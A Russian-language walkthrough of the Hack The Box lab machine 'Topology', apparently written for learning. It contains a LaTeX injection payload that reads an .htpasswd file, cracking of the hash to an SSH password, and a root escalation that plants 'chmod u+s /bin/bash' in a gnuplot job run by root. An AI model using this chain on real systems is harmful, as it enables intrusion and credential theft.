Обзор сервисов
IP-адрес машины 10.10.11.217
. Посмотрим на nmap:
$ nmap -sT -sC -Pn -p1-65535 -oN 10.10.11.217 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 10:11 EDT
Nmap scan report for 10.10.11.217
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http
|_http-title: Miskatonic University | Topology Group
Nmap done: 1 IP address (1 host up) scanned in 41.90 seconds
Стандартные порты для HTB.
Вебка
Веб-страница университета с описанием проектов и других контактов. Есть ссылка на Latex генератор.
Ссылка ведет на latex.topology.htb, проверим другие домены:
$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://topology.htb --append-domain -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://topology.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/07/16 10:34:24 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.topology.htb Status: 401 [Size: 463]
Found: stats.topology.htb Status: 200 [Size: 108]
Progress: 4989 / 4990 (99.98%)
===============================================================
2023/07/16 10:40:17 Finished
===============================================================
Добавим все домены в /etc/hosts
:
$ nano /etc/hosts
10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.topology.htb
Генератор Latex (latex.topology.htb):
dev.topology.htb закрыт с помощью Basic Auth аутентификации (в корне директории есть файл .htpasswd):
С помощью генератора Latex можно провести атаку Latex Injection и получить файл /var/www/dev/.htpasswd:
$\lstinputlisting{/var/www/dev/.htpasswd}$
С помощью hashid
узнаем тип хеша:
$ hashid
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTYO
Analyzing '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTYO'
[+] MD5(APR)
[+] Apache MD5
Поместим хеш в файл hash
и запустим hashcat
:
$ hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt.gz
...
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20
...
=> vdaisley:calculus20
SSH
Подключимся по SSH.
$ ssh [email protected]
calculus20
Пользовательский флаг
vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ cat user.txt
eea79236c7c286230a8ae80ca86ccb43
Повышение привилегий
Посмотрим выполняющиеся процессы с помощью pspy:
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
$ scp pspy64 [email protected]:/tmp/pspy64
...
$ chmod +x /tmp/pspy64
$ /tmp/pspy64
Выполняется gnuplot
от рута для всех файлов/opt/gnuplot/*.plt
:
2023/07/16 11:14:01 CMD: UID=0 PID=1565 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/07/16 11:14:01 CMD: UID=0 PID=1577 | /bin/sh /opt/gnuplot/getdata.sh
2023/07/16 11:14:01 CMD: UID=0 PID=1578 | /bin/sh /opt/gnuplot/getdata.sh
2023/07/16 11:14:01 CMD: UID=0 PID=1579 | gnuplot /opt/gnuplot/networkplot.plt
И мы можем писать в эту директорию!
$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot
$ echo "system 'chmod u+s /bin/bash'" > /opt/gnuplot/exploit.plt
# ждем несколько минут
$ /bin/bash -p
bash-5.0# id
uid=1007(vdaisley) gid=1007(vdaisley) euid=0(root) groups=1007(vdaisley)
Флаг суперпользователя
bash-5.0# ls
root.txt
bash-5.0# cat root.txt
0fa3bcff36bb9e8583e322ea1aaae3f2